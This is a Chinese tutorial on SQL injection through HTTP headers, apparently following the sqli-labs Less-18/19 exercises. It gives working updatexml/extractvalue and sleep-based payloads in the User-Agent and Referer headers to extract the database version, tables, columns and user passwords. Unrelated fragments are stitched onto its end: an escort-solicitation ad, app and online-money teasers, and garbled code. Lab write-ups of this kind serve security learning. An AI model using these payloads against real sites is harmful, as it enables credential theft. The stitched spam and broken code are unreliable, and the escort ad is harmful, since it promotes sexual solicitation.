前面的文章是关于基于get下的显注和盲注,这篇是学习http头注入...
随着安全意识越来越重视的情况下,为了防止漏洞的发生。在写网站代码的时候,编程人员会用到对应的函数,对用户提交的参数进行过滤。但是对于http头中的提交的内容可能没有进行过滤。例如http头的User-agent、Referer、Cookie等,所以就会产生http头注入的情况。
我们通过抓包的时候,就可以看见http头部的很多项
Host:客户端指定自己想访问的WEB服务器的域名/IP地址和端口号
Content-Length:WEB服务器告诉浏览器自己响应的对象的语言
Cache-Control:
请求:
no-cache(不要缓存的实体,要求现在从WEB服务器去取)
max-age:(只接受Age值小于max-age值,并且没有过期的对象)
max-stale:(可以接受过去的对象,但是过期时间必须小于max-stale值)
min-fresh:(接受其新鲜生命期大于其当前Age跟min-fresh值之和的缓存对象)
响应:
public(可以用Cached内容回应任何用户)
private(只能用缓存内容回应先前请求该内容的那个用户)
no-cache(可以缓存,但是只有在跟WEB服务器验证了其有效后,才能返回给客户端)
max-age:(本响应包含的对象的过期时间)ALL:no-store(不允许缓存)
Upgrade-Insecure-Requests:请求头向服务器发送一个客户端对HTTPS加密和认证响应良好,并且可以成功处理的信号,可以请求所属网站所有的HTTPS资源。
Origin:Origin字段里只包含是谁发起的请求,并没有其他信息 (通常情况下是方案,主机和活动文档URL的端口)。跟Referer不一样的是,Origin字段并没有包含涉及到用户隐私的URL路径和请求内容,这个尤其重要。
Content-Type:WEB服务器告诉浏览器自己响应的对象的类型。例如:Content-Type:application/xml
User-Agent:浏览器表明自己的身份(是哪种浏览器)
Accept:告诉WEB服务器自己接受什么介质类型,/表示任何类型,type/*表示该类型下的所有子类型,type/sub-type
Referer:浏览器向WEB服务器表明自己是从哪个网页/URL获得/点击当前请求中的网址/URL
Accept-Encoding:浏览器申明自己接收的编码 *** ,通常指定压缩 *** ,是否支持压缩,支持什么压缩 ***
Accept-Language:浏览器申明自己接收的语言语言跟字符集的区别:中文是语言,中文有多种字符集,比如big5,gb2312,gbk等等
Connection:
请求:
close(告诉WEB服务器或者 *** 服务器,在完成本次请求的响应后,断开连接,不要等待本次连接的后续请求了)。
keepalive(告诉WEB服务器或者 *** 服务器,在完成本次请求的响应后,保持连接,等待本次连接的后续请求)。
响应:
close(连接已经关闭)。
keepalive(连接保持着,在等待本次连接的后续请求)。
Keep-Alive:如果浏览器请求保持连接,则该头部表明希望WEB服务器保持连接多长时间(秒)。例如:Keep-Alive:300
我们查看一下源码文件:
我们可以看到check_input()函数,对uname和passwd进行了处理,那么我们在uname和password上注入的话就不行。
但是,图中的代码语句,将User_Agent和IP插入到数据库中,并没有经过check_input()函数的处理,那么我们是不是可以对此下手注入呢?Ip地址不容易修改,但是User_Agent容易修改,我们从User_Agent入手,用burp进行抓包:这里我们用报错注入(updatexml()函数)来演示:
简单介绍一下updatexml()函数
updatexml(xml_document,xpath_string,new_value)
xml_document:xml文档对象名称;
xpath_string:xpath字符串;
new_value:替换查找到的符合条件的数据。
当我们抓取正确的用户名和密码,页面显示
看到页面显示出user-agent的信息。那么,用updatexml构造报错注入:
'and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
首先,单引号是闭合select语句中单引号,and连接updatexml查询的内容,最后的or语句闭合后边的单引号,从而使用or后面为真,然后执行updatexml爆出了@@version数据库版本信息。
那么利用该语句查询当前数据的数据库:
'and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1
那么在利用查询上的数据库里面的表
' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) or '1'='1
在查询users表下的列名
' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)) or '1'='1
查询一下表里面字段的内容
' and extractvalue(1,concat(0x7e,(select password from users where id='1'),0x7e)) or '1'='1 查密码 ' and extractvalue(1,concat(0x7e,(select username from users where id='1'),0x7e)) or '1'='1 查账号
首先,看一下源代码,
与less-18相比,将Referer和IP插入到数据库中,并没有经过check_input()函数的处理,那么就更上面一样,对referer尝试注入:在referer后面加上单引号,观察响应包:
页面有报错信息。那么,就用单引号是闭合select语句中单引号,and连接updatexml查询的内容,最后的or语句闭合后边的单引号,从而使用or后面为真,然后执行updatexml爆出了@@version数据库版本信息。
'and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
查询成功爆出版本信息。这样的话,就可以用上面思路,报错注入,语句都一样。那么,我们可以用盲注手法中的length和sleep函数,判断数据库长度等
构造语句:
'or if(ascii(substr(database(),1,1))=115,sleep(3),1) or '1'='1
同理,只要修改if这条语句,可以是时间盲注的语句,就可以根据响应的时间判断。
“苏州市寻私人伴游女-【曹亚萍】” 双眼:妖媚眼年纪:二十二岁有关预定女学妹预付定金的实际事宜去高档夜店、商务接待KTV,绝品会馆了解商务。岗位:商务 做兼职服务服务時间:7月份8月 女学妹空余上门...
手机技巧108式每天分享好玩实用的APP软件、和手机技巧资讯,喜欢玩手机的朋友记得关注我! 今天给大家分享几款可以下载无损和付费音乐的APP,喜欢的拿走! 1、音乐侠 这个软件前几天也说过,软件...
怎样识别真假网赚(新人怎样识别网赚项目的真假?)新人怎样识别网赚项目的真假? 大家好我是土豆哥今天我 想跟大家分享一下怎样识别网站项目的真假!现在的网络已经很普及了,线下的骗子也开始把注意力了转移到...
$html.= $email;-sn: Ping Scan – 禁用端口扫描 $sql = 'select ua.*,u.address_id as adds_id from ' . $this-&g...
在线接单平台QQ在男人和女人结婚以前,男人会在几秒钟之内给女人回信息,但在结婚后,给女人的信息几乎永远不会被回复。我想是因为我和你结婚了,关系已经决定了,所以我不在乎。如果你丈夫没有在微信之上回复你的...
什么叫Ntop? Ntop是互联网检测专用工具,由网络信息安全技术专业工作人员用于显示信息互联网应用状况。当放置“互动方式”时,ntop将在终端用户的终端设备上显示信息网络状态。假如置放在“Web方...